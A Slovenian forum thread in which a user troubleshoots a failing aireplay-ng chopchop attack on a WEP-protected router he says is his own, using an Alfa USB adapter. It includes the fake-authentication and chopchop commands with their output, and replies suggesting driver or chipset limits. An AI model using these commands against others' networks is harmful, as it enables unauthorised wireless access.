Alfa USB card chop chop

Pozdravljeni, kupil sem si Alfa USB AWUS036NH wifi adapter, sedaj pa se pojavi problem. Moja tarča je moj router Linksys z WEP zaščito. Če ga napadam od brizu mi use fragment napad ter vse deluje vredu. Sedaj sem pa nesel router v garažo (signala je -70) sedaj je povezava prešibka za fragment napad zato sem se odločil za chop chop napad, moj postopek:

najprej:
aireplay-ng -1 0 -a BSSID -h MYMAC mon0

ter nato:

aireplay-ng -4 -b BSSID -h MYMAC mon0

"yes"
got several deauthenticaiton packets - pauseing 3 seconds for reconnection
got several deauthenticaiton packets - pauseing 3 seconds for reconnection
got several deauthenticaiton packets - pauseing 3 seconds for reconnection

in tako naprej. Nato sem poizkusil z :

aireplay-ng -1 6000 -o 1 -q 10 -a BSSID -h MYMAC mon0
09:46:19 Waiting for beacon frame (BSSID:) on channel 2

09:46:19 Sending Authentication Request (Open System) [ACK]
09:46:19 Authentication successful
09:46:19 Sending Association Request [ACK]
09:46:19 Association successful :-) (AID: 1)

09:46:29 Sending keep-alive packet [ACK]
09:46:39 Sending keep-alive packet [ACK]
09:46:39 Got a deauthentication packet! (Waiting 3 seconds)

09:46:42 Sending Authentication Request (Open System) [ACK]
09:46:42 Authentication successful
09:46:42 Sending Association Request [ACK]
09:46:42 Association successful :-) (AID: 1)

09:46:52 Sending keep-alive packet [ACK]
09:47:02 Sending keep-alive packet [ACK]
09:47:12 Sending keep-alive packet [ACK]
09:47:22 Sending keep-alive packet [ACK]
09:47:32 Sending keep-alive packet [ACK]
09:47:42 Sending keep-alive packet [ACK]
09:47:42 Got a deauthentication packet! (Waiting 3 seconds)

09:47:45 Sending Authentication Request (Open System) [ACK]
09:47:45 Authentication successful
09:47:45 Sending Association Request [ACK]
09:47:45 Association successful :-) (AID: 1)

09:47:55 Sending keep-alive packet [ACK]
09:48:05 Sending keep-alive packet [ACK]
09:48:15 Sending keep-alive packet [ACK]

ter nato ponovno chop chop napad:

aireplay-ng -4 -b BSSID -h MYMAC mon0

Use this packet ? y

Saving chosen packet in replay_src-0119-094837.cap

Sent 1716 packets, current guess: AD...

The chopchop attack appears to have failed. Possible reasons:

* You're trying to inject with an unsupported chipset (Centrino?).
* The driver source wasn't properly patched for injection support.
* You are too far from the AP. Get closer or reduce the send rate.
* Target is 802.11g only but you are using a Prism2 or RTL8180.
* The wireless interface isn't setup on the correct channel.
* The client MAC you have specified is not currently authenticated.
Try running another aireplay-ng to fake authentication (attack "-1").
* The AP isn't vulnerable when operating in authenticated mode.
Try aireplay-ng in non-authenticated mode instead (no -h option).

No ja...vglavnem ne deluje. Router je zagotovo ranljiv na to vrsto napada saj sem ga uspel "hackati" z drugo mrežno kartico od TP-LINKA.

Imate kakšen nasvet ?

Vem koliko moram imeti prometa. Mislim da je problem v Alfa kartici, ker napad preko Tp-link kartice deluje brez težav

Malenkost offtopic.
Kako dobro pa ti lovi tale kartica?
Recimo v primerjavi s tplink, ki jo omenjaš (kater model imaš?).

Alfa ima zelo dobro občutljivost! Tudi sam priporočam.

blackbfm je 19. jan 2013 ob 18:43 izjavil:

Še vedno me zanima zakaj chopchop ne deluje na Alfa kartici

nevem za konkreten primer, vendar če ti na eni deluje ne drugi pa ne potem si verjetno naletu na omejitev driverja ali čipseta..

Amm...sem probal več tarč pa ni nikjer delovalo (poiskusil sem LiveCD, Vmware..)

Zagotovi so gonilniki -.- Saj drugega nevem....uspel mi je le fragment napad, vse ostalo pa nedeluje